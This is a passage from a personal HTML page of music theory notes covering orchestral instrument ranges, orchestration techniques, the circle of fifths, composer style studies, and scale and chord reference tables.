                    saxophones are in this family too).</li>
                    <li>Clarinets (in A or Bb):
                    <ul>
                    <li>Range: D3-Bb6</li>
                    <li>Clarinet in A sounds a minor third lower than
                    written.</li>
                    <li>Clarinet in Bb sounds a major second lower than
                    written.</li>
                    <li>Breaking point between Bb5-B5, which means we
                    need to avoid repetitive figures between these
                    two.</li>
                    <li>Different tone colors:
                    <ul>
                    <li>High register is powerful and shrill. Easy to
                    hear. Best saved for strategic moments.</li>
                    <li>Middle register is expressive and melodic. Most
                    frequent register, very emotional.</li>
                    <li>Low registers are rich, deep and full, but have
                    very weak carry power, best for intimate
                    moments.</li>
                    </ul></li>
                    </ul></li>
                    <li>Bass Clarinets (in A or Bb):
                    <ul>
                    <li>Range (an octave and major 2nd lower than
                    written):
                    <ul>
                    <li>Sounding range: Bb1-B5</li>
                    <li>Written range: E3-A7 (major 9th)</li>
                    </ul></li>
                    <li>Normally only the lowest registers are used,
                    since higher registers are reserved for the regular
                    clarinets.</li>
                    </ul></li>
                    </ul></li>
                    <li>Double-reeds
                    <ul>
                    <li>Use two wooden reeds reed in the mouth piece.
                    Behave opposite to flutes and single-reeds, where
                    they are more powerful in lower registers and
                    thinner in upper ones.</li>
                    <li>Oboe:
                    <ul>
                    <li>Soprano of double-reeds.</li>
                    <li>Range: Bb3-A6</li>
                    <li>Melodic range: F4-C5</li>
                    </ul></li>
                    <li>English horn (extends range of oboe):
                    <ul>
                    <li>Range:
                    <ul>
                    <li>Sounding range: E3-C6</li>
                    <li>MWritten range: B4-G6</li>
                    </ul></li>
                    </ul></li>
                    <li>Bassoon:
                    <ul>
                    <li>Tenor/bass of double reeds and woodwinds.</li>
                    <li>Range: Bb1-F5</li>
                    <li>In their middle register they blend well with
                    horns and other instruments.</li>
                    <li>Usually used for doubling the bass lines.</li>
                    </ul></li>
                    <li>Contrabass bassoon:
                    <ul>
                    <li>True bass of the orchestra.</li>
                    <li>Range:
                    <ul>
                    <li>Sounding range: Bb0-C4</li>
                    <li>Written range: Bb1-C5</li>
                    </ul></li>
                    </ul></li>
                    </ul></li>
                    </ul>
                    <p>Woodwinds are best employed by taking advantage
                    of their variety of tone colors. Commonly perform
                    scale runs and trills once the melody and harmony
                    have already been established. These scales should
                    add color, but remain in the background. They can be
                    used for bass line and chords, but best used like so
                    in intimate and quiet moments. Woodwinds are great
                    for soloing or doubling melodies, but mind the
                    ranges and tone colors we want to achieve.</p>
                    <h3 id="percussion">Percussion</h3>
                    <p>The largest section of the orchestra, capable of
                    the loudest and quietest sounds. They are typically
                    categorized by their construction (idiophones,
                    membranophones, chordophones, aerophones) and
                    whether they are pitched or non-pitched.</p>
                    <ul>
                    <li>Timpani: A collection of 4-5 membranophones of
                    different sizes, where each drum is tuned one pitch
                    at a time. They can be retuned, given enough time.
                    <ul>
                    <li>Range: C2-C4 (Each drum covers a range of
                    approximately a fifth).</li>
                    <li>Best for fast rhythmic passages and building
                    tension and energy with rools and swells.</li>
                    </ul></li>
                    <li>Xylophone: Collection of small blocks that
                    produce pitch when struck.
                    <ul>
                    <li>Range:
                    <ul>
                    <li>Written: C4-C6</li>
                    <li>Sounding: C5-C7 (Or even lower).</li>
                    </ul></li>
                    <li>Bright sounding and can easily cut through the
                    mix.</li>
                    <li>Fast decay.</li>
                    <li>Can only play 2 notes are a time.</li>
                    <li>Good choice for fast rhythmic passages and
                    doubling to add tone color or attack to a
                    sound.</li>
                    </ul></li>
                    <li>Marimba: Very similar to the xylophone.
                    <ul>
                    <li>Range: C3-C7</li>
                    <li>Can be played with 2 mallets per hand.</li>
                    <li>Good choice for fast rhythmic passages and
                    doubling to add tone color or attack to a
                    sound.</li>
                    </ul></li>
                    <li>Vibraphone: Very similar to the xylophone.
                    <ul>
                    <li>Range: F3-F6</li>
                    <li>Has a motor that can be used to add vibrato to a
                    sound and help sustain notes longer.</li>
                    </ul></li>
                    <li>Glockenspiel: A small Xylophone.
                    <ul>
                    <li>Range:
                    <ul>
                    <li>Written: G3-C6</li>
                    <li>Sounding: G5-C8</li>
                    </ul></li>
                    <li>Can only play 2 notes are a time.</li>
                    <li>Very bright, reminiscent of bells.</li>
                    </ul></li>
                    <li>Tubular bells: Collection of large chimes that
                    produce bell like sounds when struck.
                    <ul>
                    <li>Range: C4-G6</li>
                    <li>Has a sustain pedal.</li>
                    <li>Can be used to double slow melodies.</li>
                    <li>Careful of cluttering the sound if too many
                    overtones overlap each other.</li>
                    </ul></li>
                    </ul>
                    <p>The traditional roles of the percussion section
                    are:</p>
                    <ul>
                    <li>Doubling for color.
                    <ul>
                    <li>Look for opportunities where percussion
                    instruments can be used to add additional color.
                    Often this color is the transient/attack that these
                    instruments provide.</li>
                    </ul></li>
                    <li>Ostinati.
                    <ul>
                    <li>Using percussion for a repetitive, rhythmic
                    figure.</li>
                    <li>Other instruments can build on top of it or can
                    be used to emphasize pre-existing rhythms in the
                    music.</li>
                    </ul></li>
                    <li>Extreme dynamics.
                    <ul>
                    <li>Loud dynamics are useful for adding energy.</li>
                    <li>Quiet dynamics are useful for setting
                    mood/texture.</li>
                    </ul></li>
                    <li>Solo statements.
                    <ul>
                    <li>Look for moments where the foreground/midground
                    can benefit from a solo percussion instrument to add
                    a new rhytmic feeling to the music.</li>
                    </ul></li>
                    <li>Highlighting accents.
                    <ul>
                    <li>Look at existing accents in the music or moments
                    where you want more emphasis and consider adding a
                    percussion hit to add to them.</li>
                    </ul></li>
                    <li>Builds and climaxes.
                    <ul>
                    <li>Look for moments where rolls/swells/crash can
                    add or remove energy.</li>
                    </ul></li>
                    <li>Harmonic support.
                    <ul>
                    <li>Once the arrangement is drafted fully, maybe is
                    best to step away from the piece for a bit and when
                    revisited, evaluates if some sections feel flat. If
                    so, adding an arpeggio or some other harmonic
                    voicing with percussion is a way of addressing
                    that.</li>
                    </ul></li>
                    </ul>
                    <h3 id="piano-celeste-and-harp">Piano, celeste and
                    harp</h3>
                    <ul>
                    <li>Piano
                    <ul>
                    <li>Range: A1-D8 (One key for each chromatic note,
                    88-keys)</li>
                    <li>Can play 5 notes at a time with one hand.</li>
                    <li>Keep in mind hand size.</li>
                    <li>The grand piano has 3 pedals.
                    <ul>
                    <li>Sustain: Removes the damper, so notes can
                    sustain even after releasing the key.</li>
                    <li>Una corda: Shift the hammers slightly so that
                    they strike one less string per note. Creates a more
                    delicate tone color and reduces color.</li>
                    <li>Sostenuto: Will only sustain the notes being
                    played at the moment they are played. Useful for
                    mixing sustained and staccatto notes.</li>
                    </ul></li>
                    <li>Common roles:
                    <ul>
                    <li>Reinforce accents and staccato chords.</li>
                    <li>Doubling instruments for color and/or
                    attack.</li>
                    <li>Melodic/harmonic materials as solo.</li>
                    <li>Doubling instruments.</li>
                    </ul></li>
                    </ul></li>
                    <li>Celeste
                    <ul>
                    <li>Very similar to a piano, but uses chimes instead
                    of strings. Normally played by the pianist.</li>
                    <li>Range:
                    <ul>
                    <li>Written: C3-C7</li>
                    <li>Sounding: C4-C8</li>
                    </ul></li>
                    </ul></li>
                    <li>The harp
                    <ul>
                    <li>Range: C1-C8</li>
                    <li>It doesn’t have dedicated strings for every
                    pitch, only the major scale. Instead it uses pedals
                    to raising/lowering these pitches.</li>
                    <li>Pedal changes can happen during performance, but
                    it needs to be given time to do it.</li>
                    <li>Good for diatonic passages but not so good for
                    chromatic passages.</li>
                    <li>Glissandi and harmonics are common and very
                    characteristic of the instrument.</li>
                    </ul></li>
                    </ul>
                    <h3 id="merging-concepts">Merging concepts</h3>
                    <p>Some useful techniques for arranging and merging
                    instruments in the orchestra are:</p>
                    <ul>
                    <li>Woodwind dovetailing: We can blend the flutes
                    and clarinets together by weaving the notes of the
                    chord between them. For example in a Cmaj7 (C-E-G-B)
                    the clarinets play C-G and the flutes E-B (In the
                    same range).</li>
                    <li>French horns and trombones: Play closed voicings
                    with french horns and open voicings for
                    trombones.</li>
                    <li>Strings in octaves: Playing the same lines by
                    Violins 1 and 2, but in different octaves (Or using
                    divisi).</li>
                    <li>Add countermelodies in the spaces where the
                    other instruments are sustaining anote.</li>
                    <li>Build emotion by doubling melodic lines in
                    subsequent repetitions. Common doubling pairs are:
                    Flute &amp; strings, flute &amp; oboes, celli &amp;
                    bassoon, celli &amp; base (in octaves but try not to
                    overdo it).</li>
                    <li>Add color to staccatto strings by doubling them
                    with tremolo ones.</li>
                    </ul>
                    <h3 id="resources-3">Resources</h3>
                    <ul>
                    <li><a
                    href="https://youtube.com/playlist?list=PLDezhk4lPPNlEgzxshvwldCkFI_kGWYR0">Orchestration
                    101 (Tabletop Composer)</a></li>
                    <li><a href="https://youtu.be/EPYnmtylUVM">How to
                    Write Music for Orchestra (Guy Michelmore)</a></li>
                    </ul>
                    <h2 id="circle-of-fifths">Circle of fifths</h2>
                    <p><a
                    href="/notes/music-theory/circle-fifths.png"><img
                    src="/notes/music-theory/circle-fifths.svg" /></a></p>
                    <p>The circle of fifths is a widely used tool for
                    composition and analysis of musical pieces. One of
                    the first things you can use this diagram is to
                    understand the number of flats or sharps that are in
                    a given major key. When thinking about major keys,
                    they can be unaltered <code>C major</code> or
                    contain up to 6 sharps or flats. You can find the
                    number of sharps by moving clockwise from the top on
                    the outermost circle (e.g. <code>D major</code> has
                    2 sharps, F# and C#). The same applies for finding
                    the number of flats (<code>Db/C# major</code> has 5
                    flats, <code>Bb, Eb, Ab, Db, Gb</code>). Note that
                    the position of the diagram is also encoded in the
                    diagram (Sharps start at F and move clockwise and
                    flats at B and move counter clockwise). Furthermore,
                    the order of sharps is <code>F C G D A E B</code>
                    and the order of flats is the same, but backward
                    <code>B E A D G C F</code>. The innermost circle
                    indicates the number of flats (left) or sharps
                    (right) corresponding to the key on the outer
                    ring.</p>
                    <p>When looking at any note in the circle of fifths,
                    if we move clockwise, we will find the perfect
                    fifth, which can be helpful for finding the diatonic
                    dominant of a key. Moving counter-clockwise we move
                    in 4ths, also useful for the resolution of V-I
                    cadences. This diagram can be very useful to connect
                    different keys in this fashion. For example,
                    <code>G7-C-C7-F-F7-A#...</code> is a progression
                    that can be heard in a lot of music.</p>
                    <p>In this figure I’ve included three extra inner
                    circles containing the notes a VI apart from the
                    outer one. Each inner circle is the relative minor
                    (aeolian) of the previous major mode
                    (<code>G minor</code> and <code>A# major</code>,
                    <code>F major</code> and <code>D minor</code>,
                    etc.). Thanks to this, the circle of fifths can be
                    used to find relative notes for a given root in
                    order to help us form chords. The legend at the
                    bottom of the circle illustrates this property.</p>
                    <p>Some ways of finding the notes for a chord from
                    the diagram are that if we go straight down from the
                    top circle, we can find a diminished chord. Going
                    down a circle is a major 6th interval (VI) and going
                    up finds the minor 3rd (bIII). Going down and
                    clockwise we find the major 3rd (III). A major triad
                    is easily formed by the triangular pattern
                    down-right (III) and up (V) (C-E-G). Similarly for a
                    minor triad we go up (mIII) and clockwise (V)
                    (A-C-G). With this diagram is easy to find for
                    example the bVII of G# (F#). Another funny pattern
                    is to go down-right twice, creating a spiral
                    representing an augmented chord (C-E-G#).</p>
                    <p>We can also easily find tritonal substitutions by
                    moving down two circles. For example if we had the
                    progression <code>Dm7-G7-C6</code> and we wanted to
                    spice it up, we could do <code>Dm7-C#7-C6</code>.
                    Taking this further we could find the secondary
                    dominant of <code>Dm7</code> by moving clockwise
                    from <code>D</code> and even for the newly added
                    tritonal substitution <code>C#7</code>, prepending
                    it with <code>G#7</code>, creating a
                    <code>A7-Dm7-G#7-C#7-C6</code> progression.</p>
                    <p>Chords closer to each other in the circle of
                    fifths tend to transition more smoothly. Let’s look
                    at a classical example with the following Beethoven
                    chord progression from “Pathetique” in
                    <code>C major</code>, extracted from <a
                    href="https://youtu.be/GP1DF9Cu5YU">this
                    video</a>:</p>
                    <pre><code>|1   |2   |3   |4   |5   |6   |7   |8   |9   |10  |11  |12  |13  |14  |15  |16  |
|I   |I7  |IV  |IV7 |IIm |VI7 |IIm |II7 |V   |II7 |Vm  |V7  |I   |I+  |IV  |V   |
|C   |C7  |F   |F7  |Dm  |A7  |Dm  |D7  |G   |D7  |Gm  |G7  |C   |C+  |F   |G   |</code></pre>
                    <p>Note the following movements: <code>C-F</code>,
                    <code>F-D</code>, <code>D-A</code>,
                    <code>A-D</code>, <code>D-G</code>,
                    <code>G-C</code>, <code>C-F</code>. See how they
                    follow a smooth path throughout the circle?
                    Obviously part of the smoothness is the voice
                    leading between the chords and the dominant
                    cadences, but regardless, I think it’s a very
                    interesting example!</p>
                    <h2 id="composers-and-artists-study">Composers and
                    artists study</h2>
                    <h3 id="rachmaninoff">Rachmaninoff</h3>
                    <ul>
                    <li>Uses arpeggios spanning multiple octaves,
                    sometimes making them more complex with some
                    (implicit?) harmonic variation
                    (<code>Im-IIdim/I-Im</code>, for example
                    <code>Am-Bdim/A-Am</code>).</li>
                    <li>Use of galloping dotted rhythm
                    (<code>|x| | |x|</code> or <code>|x| | | |x|</code>
                    or <code>|x|x| | |</code>, where each bar is a 16th
                    note).</li>
                    <li>Add chromatic neighbour tones for the
                    chords.</li>
                    <li>Use of pedal point in harmonic
                    progressions.</li>
                    <li>Augmented chords.</li>
                    <li>Chords in triplets, as wide as possible.</li>
                    <li>The chromatic scale is sometimes nudged between
                    phrases or arpeggios.</li>
                    <li>Multiple layers of sound and inner lines.</li>
                    <li>Lots of question and answer lines.</li>
                    <li>Many chords use extensions except the resolving
                    chords.</li>
                    <li>Use of polyrhythms in melodies.</li>
                    </ul>
                    <h3 id="alexander-scriabin">Alexander Scriabin</h3>
                    <ul>
                    <li>Very eccentric composer with interest in
                    mysticism and romanticism. He had synesthesia.</li>
                    <li>Use of short-short-long phrases.</li>
                    <li>Switches moods fluidly, going from intimate
                    phrases to more dramatic ones.</li>
                    <li>“Chopin-esque elements”:
                    <ul>
                    <li>Progressions involving the circle of
                    fifths.</li>
                    <li>Borrowed motifs from Chopin.</li>
                    <li>Sweeping melodies in the bel canto style.</li>
                    <li>Augmented sixth chords and accented non-chord
                    tones in resolutions.</li>
                    <li>Similar musical forms (Mazurka, Fantasies,
                    Nocturnes, Preludes).</li>
                    </ul></li>
                    <li>Elaborate left hand lines due to chronic pain on
                    right arm.</li>
                    <li>Smooth voice leading and use of chromatic chords
                    for transitioning.</li>
                    <li>Lots of extensions/“Jazzy chords”.</li>
                    <li>Use of chords based on 4ths.</li>
                    <li>Floating quality with some descending lines on
                    the left hand instead of playing the root
                    first.</li>
                    <li>Heavy use of his “mystic chord” (dominant 7th
                    chord and whole-tone scale mashup). Formed of
                    <code>I-b5-bVII-III-VI-II</code> but typically used
                    in different transpositions.</li>
                    </ul>
                    <h3 id="ludwig-van-beethoven">Ludwig van
                    Beethoven</h3>
                    <ul>
                    <li>Use of repeated chords, often in groups of
                    3.</li>
                    <li>Wide-broken chords (Right hand plays arpeggio,
                    left hand bass only).</li>
                    <li>Use of unison melodies.</li>
                    <li>Broken and staggered octaves.</li>
                    <li>Lots of contrast.</li>
                    <li>Diminished chords for tension and harmonic
                    motion in chord and arpeggio forms.</li>
                    <li>Use of long trills at the end of phrases.</li>
                    <li>Imitative layers (Right mimics left for
                    example).</li>
                    <li>Use of inner lines.</li>
                    <li>Warm melodies.</li>
                    <li>Raw scales and arpeggios as single notes or in
                    octaves.</li>
                    <li>Dotted rhythms accompanied with periods of
                    rest.</li>
                    <li>Use of call and response.</li>
                    <li>Pedal points and sustained notes.</li>
                    <li>Repetition of sequences at different
                    pitches.</li>
                    </ul>
                    <h3 id="frédéric-chopin">Frédéric Chopin</h3>
                    <ul>
                    <li>Use of the waltz form.</li>
                    <li>Pedal points and upper common tones (like a
                    pedal point but on the higher register).</li>
                    <li>Arpeggios and sometimes linked with chromatic
                    runs.</li>
                    <li>Very lyrical melodies.</li>
                    <li>Use of trill and other embellishments.</li>
                    <li>Multiple voices in melodies.</li>
                    <li>Use of Neapolitan sixth progressions.</li>
                    <li>Diminished chords as transition points.</li>
                    </ul>
                    <h3 id="claude-debussy">Claude Debussy</h3>
                    <ul>
                    <li>Atmospheric, focused on moods and adding a lot
                    of space between notes in a line.</li>
                    <li>Use of arpeggiated harp-like cascades with a
                    resonant bass line that accentuates the perfect
                    5th.</li>
                    <li>Avoid using functional cadences, it is more
                    reminiscent of modal harmony. There is plagal
                    movement but not in the form of a typical
                    cadence.</li>
                    <li>Ambiguous tonality achieved by using chords with
                    tritones without resolving them.</li>
                    <li>Using tremolos to add tension.</li>
                    <li>Lots of rhythmic variation in a fluid
                    manner.</li>
                    <li>Use of syncopated lines for an ambiguous sense
                    of pulse.</li>
                    <li>Move chords and gestures with parallel movement
                    (For example unison octaves).</li>
                    <li>Tends to use non-western scales/modes and whole
                    tone scales.</li>
                    <li>Bell-like sounds and lines.</li>
                    </ul>
                    <h3 id="resources-4">Resources</h3>
                    <ul>
                    <li><a href="https://youtu.be/imGbhF2AEPw">How to
                    sound like Rachmaninoff</a></li>
                    <li><a href="https://youtu.be/UzarelNxt7I">How to
                    sound like Scriabin</a></li>
                    <li><a href="https://youtu.be/EWpyfhpab-w">How to
                    sound like Beethoven</a></li>
                    <li><a href="https://youtu.be/u_hhE9Bjbfw">How to
                    sound like Chopin</a></li>
                    <li><a href="https://youtu.be/-ydnwI5dzts">How to
                    sound like Debussy</a></li>
                    </ul>
                    <h2 id="other-tools-and-diagrams">Other tools and
                    diagrams</h2>
                    <h3 id="matrix-chordscale-reference">Matrix
                    chord/scale reference</h3>
                    <p>I created a number of diagrams for chords and
                    scales for a matrix 8x8 controller. I intend to use
                    this with my Launchpad Pro but it can also be used
                    with a guitar tuned in all 4ths
                    (<code>E-A-D-G-C-F</code> tuning), which I use from
                    time to time. Here is an example of how the diagrams
                    look like:</p>
                    <p><a
                    href="/notes/music-theory/matrix-ref/chords/chord-triad-min-maj-min7-maj7.svg"><img
                    src="/notes/music-theory/matrix-ref/chords/chord-triad-min-maj-min7-maj7.svg" /></a></p>
                    <p>I compiled the main chords and scales presented
                    here <a
                    href="/notes/music-theory/matrix-ref/chord-scale-ref.pdf">in
                    a pdf</a> but you can also browse <a
                    href="/notes/music-theory/matrix-ref/">the
                    directory</a> for individual diagrams in
                    <code>png</code> and <code>svg</code> format.</p>
                    <h3
                    id="standard-tuning-eadgbe-reference-diagrams">Standard
                    tuning (EADGBE) reference diagrams</h3>
                    <p><a
                    href="/notes/music-theory/EADGBE-chord-reference.png"><img
                    src="/notes/music-theory/EADGBE-chord-reference.svg" /></a></p>
                    <p><a
                    href="/notes/music-theory/EADGBE-shell-voicings.png"><img
                    src="/notes/music-theory/EADGBE-shell-voicings.svg" /></a></p>
                    <p><a
                    href="/notes/music-theory/EADGBE-scales.png"><img
                    src="/notes/music-theory/EADGBE-scales.svg" /></a></p>
                    <h3 id="barry-harris-chord-voicings">Barry Harris
                    chord voicings</h3>
                    <p><a
                    href="/notes/music-theory/EADGBE-barry-harris-D2EADG.png"><img
                    src="/notes/music-theory/EADGBE-barry-harris-D2EADG.svg" /></a>
                    <a
                    href="/notes/music-theory/EADGBE-barry-harris-D2ADGB.png"><img
                    src="/notes/music-theory/EADGBE-barry-harris-D2ADGB.svg" /></a>
                    <a
                    href="/notes/music-theory/EADGBE-barry-harris-D2DGBE.png"><img
                    src="/notes/music-theory/EADGBE-barry-harris-D2DGBE.svg" /></a>
                    <a
                    href="/notes/music-theory/EADGBE-barry-harris-D3E.png"><img
                    src="/notes/music-theory/EADGBE-barry-harris-D3E.svg" /></a>
                    <a
                    href="/notes/music-theory/EADGBE-barry-harris-D3A.png"><img
                    src="/notes/music-theory/EADGBE-barry-harris-D3A.svg" /></a></p>
                    <p><a
                    href="/notes/music-theory/EADGBE-barry-harris-chords.pdf">Download
                    as PDF</a></p>
                    <h3 id="all-4ths-eadgcf-reference-diagrams">All 4ths
                    (EADGCF) reference diagrams</h3>
                    <p><a
                    href="/notes/music-theory/EADGCF-chord-reference.png"><img
                    src="/notes/music-theory/EADGCF-chord-reference.svg" /></a></p>
                    <p><a
                    href="/notes/music-theory/EADGCF-shell-voicings.png"><img
                    src="/notes/music-theory/EADGCF-shell-voicings.svg" /></a></p>
                    <p><a
                    href="/notes/music-theory/EADGCF-scales.png"><img
                    src="/notes/music-theory/EADGCF-scales.svg" /></a></p>
                    <p><a
                    href="/notes/music-theory/EADGCF-barry-harris-chords-D2.png"><img
                    src="/notes/music-theory/EADGCF-barry-harris-chords-D2.svg" /></a>
                    <a
                    href="/notes/music-theory/EADGCF-barry-harris-chords-D3.png"><img
                    src="/notes/music-theory/EADGCF-barry-harris-chords-D3.svg" /></a>
                    <a
                    href="/notes/music-theory/EADGCF-barry-harris-chords-D23.png"><img
                    src="/notes/music-theory/EADGCF-barry-harris-chords-D23.svg" /></a>
                    <a
                    href="/notes/music-theory/EADGCF-barry-harris-chords-D24.png"><img
                    src="/notes/music-theory/EADGCF-barry-harris-chords-D24.svg" /></a></p>
                    <p><a
                    href="/notes/music-theory/EADGCF-barry-harris-chords.pdf">Download
                    as PDF</a></p>
                    <h3 id="scales-and-chords-quick-reference">Scales
                    and chords quick reference</h3>
                    <h4 id="harmonization">Harmonization</h4>
                    <pre><code>Function           T          SD         T          SD         D          T          SD/D
Mode name          I          II         III        IV         V          VI         VII
------------------ ---------- ---------- ---------- ---------- ---------- ---------- ----------
Ionian             maj7       min7       min7       maj7       7          min7       m7b5
Dorian             min7       min7       maj7       7          min7       m7b5       maj7
Phrygian           min7       maj7       7          min7       m7b5       maj7       min7
Lydian             maj7       7          min7       m7b5       maj7       min7       min7
Mixolydian         7          min7       m7b5       maj7       min7       min7       maj7
Aeonian            min7       m7b5       maj7       min7       min7       maj7       7
Locrian            m7b5       maj7       min7       min7       maj7       7          min7
----------------------------------------------------------------------------------------------
Harmonic minor     min(maj7)  m7b5       maj7#5     min7       7          maj7       dim7
Locrian nat6       m7b5       maj7#5     min7       7          maj7       dim7       min(maj7)
Ionian #5          maj7#5     min7       7          maj7       dim7       min(maj7)  m7b5
Ukranian dorian    min7       7          maj7       dim7       min(maj7)  m7b5       maj7#5
Phrygian dominant  7          maj7       dim7       min(maj7)  m7b5       maj7#5     min7
Lydian #2          maj7       dim7       min(maj7)  m7b5       maj7#5     min7       7
Superlocrian bb7   dim7       min(maj7)  m7b5       maj7#5     min7       7          maj7
----------------------------------------------------------------------------------------------
Melodic minor      min(maj7)  min7       maj7#5     7          7          m7b5       m7b5
Dorian b2          min7       maj7#5     7          7          m7b5       m7b5       min(maj7)
Lydian augmented   maj7#5     7          7          m7b5       m7b5       min(maj7)  min7
Lydian dominant    7          7          m7b5       m7b5       min(maj7)  min7       maj7#5
Mixolidian b6      7          m7b5       m7b5       min(maj7)  min7       maj7#5     7
Half-diminished    m7b5       m7b5       min(maj7)  min7       maj7#5     7          7
Altered scale      m7b5       min(maj7)  min7       maj7#5     7          7          m7b5
-----------------------------------------------------------------------------------------------
Quar. Ionian       Q+4        Q          Q          +4Q        Q          Q          Q
Quar. Dorian       Q          Q          +4Q        Q          Q          Q          Q+4
Quar. Phrygian     Q          +4Q        Q          Q          Q          Q+4        Q
Quar. Lydian       +4Q        Q          Q          Q          Q+4        Q          Q
Quar. Mixolydian   Q          Q          Q          Q+4        Q          Q          +4Q
Quar. Aeonian      Q          Q          Q+4        Q          Q          +4Q        Q
Quar. Locrian      Q          Q+4        Q          Q          +4Q        Q          Q
----------------------------------------------------------------------------------------------</code></pre>
                    <h4 id="scales">Scales</h4>
                    <pre><code>Scale formulas

Ionian              | 1  2  3  4  5  6  7   | W   W   H   W   W   W   H   |
Dorian              | 1  2  b3 4  5  6  b7  | W   H   W   W   W   H   W   |
Phrygian            | 1  b2 b3 4  5  b6 b7  | H   W   W   W   H   W   W   |
Lydian              | 1  2  3  #4 5  6  7   | W   W   W   H   W   W   H   |
Mixolydian          | 1  2  3  4  5  6  b7  | W   W   H   W   W   H   W   |
Aeonian             | 1  2  b3 4  5  b6 b7  | W   H   W   W   H   W   W   |
Locrian             | 1  b2 b3 4  b5 b6 b7  | H   W   W   H   W   W   W   |

Harmonic minor      | 1  2  b3 4  5  b6 7   | W   H   W   W   H   W+H H   |
Locrian nat6        | 1  b2 b3 4  b5 6  b7  | H   W   W   H   W+H H   W   |
Ionian #5           | 1  2  3  4  #5 6  7   | W   W   H   W+H H   W   H   |
Ukranian dorian     | 1  2  b3 #4 5  6  b7  | W   H   W+H H   W   H   W   |
Phrygian dominant   | 1  b2 3  4  5  b6 b7  | H   W+H H   W   H   W   W   |
Lydian #2           | 1  #2 3  #4 5  6  7   | W+H H   W   H   W   W   H   |
Superlocrian bb7    | 1  b2 b3 4  b5 b6 bb7 | H   W   H   W   W   H   W+H |

Melodic minor       | 1  2  b3 4  5  6  7   | W   H   W   W   W   W   H   |
Dorian b2           | 1  b2 b3 4  5  6  b7  | H   W   W   W   W   H   W   |
Lydian augmented    | 1  2  3  #4 #5 6  7   | W   W   W   W   H   W   H   |
Lydian dominant     | 1  2  3  #4 5  6  b7  | W   W   W   H   W   H   W   |
Mixolidian b6       | 1  2  3  4  5  b6 b7  | W   W   H   W   H   W   W   |
Half-diminished     | 1  2  b3 4  b5 b6 b7  | W   H   W   H   W   W   W   |
Altered scale       | 1  b2 b3 b4 b5 b6 b7  | H   W   H   W   W   W   W   |

Half-whole          | H W H W H W H W |
Whole-half          | W H W H W H W H |</code></pre>
                    <h4 id="chords">Chords</h4>
                    <h5 id="c">C</h5>
                    <table>
                    <thead>
                    <tr>
                    <th style="text-align: left;">Chord</th>
                    <th style="text-align: left;">Formula</th>
                    <th style="text-align: center;">Notes</th>
                    </tr>
                    </thead>
                    <tbody>
                    <tr>
                    <td style="text-align: left;">Cmaj7</td>
                    <td style="text-align: left;">1-3-5-7</td>
                    <td style="text-align: center;">C E G B</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Cmin7</td>
                    <td style="text-align: left;">1-b3-5-b7</td>
                    <td style="text-align: center;">C D# G A#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">C7</td>
                    <td style="text-align: left;">1-3-5-b7</td>
                    <td style="text-align: center;">C E G A#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Cm7b5</td>
                    <td style="text-align: left;">1-b3-b5-b7</td>
                    <td style="text-align: center;">C D# F# A#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">C6</td>
                    <td style="text-align: left;">1-3-5-6</td>
                    <td style="text-align: center;">C E G A</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Cm6</td>
                    <td style="text-align: left;">1-b3-5-6</td>
                    <td style="text-align: center;">C D# G A</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Cdim</td>
                    <td style="text-align: left;">1-b3-b5-6</td>
                    <td style="text-align: center;">C D# F# A</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Caug</td>
                    <td style="text-align: left;">1-3-#5</td>
                    <td style="text-align: center;">C E G#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Cmin(maj7)</td>
                    <td style="text-align: left;">1-b3-5-7</td>
                    <td style="text-align: center;">C D# G B</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Cmaj7#5</td>
                    <td style="text-align: left;">1-3-#5-7</td>
                    <td style="text-align: center;">C E G# B</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Csus4</td>
                    <td style="text-align: left;">1-4-5</td>
                    <td style="text-align: center;">C F G</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Csus2</td>
                    <td style="text-align: left;">1-2-5</td>
                    <td style="text-align: center;">C D G</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">CQ</td>
                    <td style="text-align: left;">1-4-b7</td>
                    <td style="text-align: center;">C F A#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">CQ+4</td>
                    <td style="text-align: left;">1-4-7</td>
                    <td style="text-align: center;">C F B</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">C+4Q</td>
                    <td style="text-align: left;">1-#4-7</td>
                    <td style="text-align: center;">C F# B</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Extensions</td>
                    <td style="text-align: left;">9, 11, 13</td>
                    <td style="text-align: center;">D F A</td>
                    </tr>
                    </tbody>
                    </table>
                    <h5 id="d">D</h5>
                    <table>
                    <thead>
                    <tr>
                    <th style="text-align: left;">Chord</th>
                    <th style="text-align: left;">Formula</th>
                    <th style="text-align: center;">Notes</th>
                    </tr>
                    </thead>
                    <tbody>
                    <tr>
                    <td style="text-align: left;">Dmaj7</td>
                    <td style="text-align: left;">1-3-5-7</td>
                    <td style="text-align: center;">D F# A C#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Dmin7</td>
                    <td style="text-align: left;">1-b3-5-b7</td>
                    <td style="text-align: center;">D F A C</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">D7</td>
                    <td style="text-align: left;">1-3-5-b7</td>
                    <td style="text-align: center;">D F# A C</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Dm7b5</td>
                    <td style="text-align: left;">1-b3-b5-b7</td>
                    <td style="text-align: center;">D F G# C</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">D6</td>
                    <td style="text-align: left;">1-3-5-6</td>
                    <td style="text-align: center;">D F# A B</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Dm6</td>
                    <td style="text-align: left;">1-b3-5-6</td>
                    <td style="text-align: center;">D F A B</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Ddim</td>
                    <td style="text-align: left;">1-b3-b5-6</td>
                    <td style="text-align: center;">D F G# B</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Daug</td>
                    <td style="text-align: left;">1-3-#5</td>
                    <td style="text-align: center;">D F# A#</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Dmin(maj7)</td>
